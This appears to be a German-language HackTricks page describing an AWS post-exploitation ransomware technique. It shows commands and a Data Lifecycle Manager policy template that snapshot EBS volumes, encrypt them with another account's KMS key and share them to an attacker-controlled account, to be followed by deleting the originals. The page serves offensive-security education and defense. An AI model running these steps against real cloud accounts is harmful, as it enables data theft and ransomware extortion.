AWS - DLM Post Exploitation

Support HackTricks

Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Ein Ransomware-Angriff kann durchgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und dann die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese böswillige Aktivität zu automatisieren, kann man Amazon DLM verwenden, um die Snapshots mit einem KMS-Schlüssel aus einem anderen AWS-Konto zu verschlüsseln und die verschlüsselten Snapshots in ein anderes Konto zu übertragen. Alternativ könnten sie Snapshots ohne Verschlüsselung in ein von ihnen verwaltetes Konto übertragen und sie dort verschlüsseln. Obwohl es nicht einfach ist, bestehende EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu tun, indem man ein neues Volume oder Snapshot erstellt.

Zunächst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie z.B. Instanz-ID, Volume-ID, Verschlüsselungsstatus, Anhangsstatus und Volumentyp.

aws ec2 describe-volumes

Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch tägliche Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die Datei policyDetails.json enthält die Einzelheiten der Lebenszyklusrichtlinie, wie Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, das in den CloudTrail-Protokollen des Opfers aufgezeichnet wird.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Eine Vorlage für das Richtliniendokument ist hier zu sehen:

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
Unterstütze HackTricks

Last updated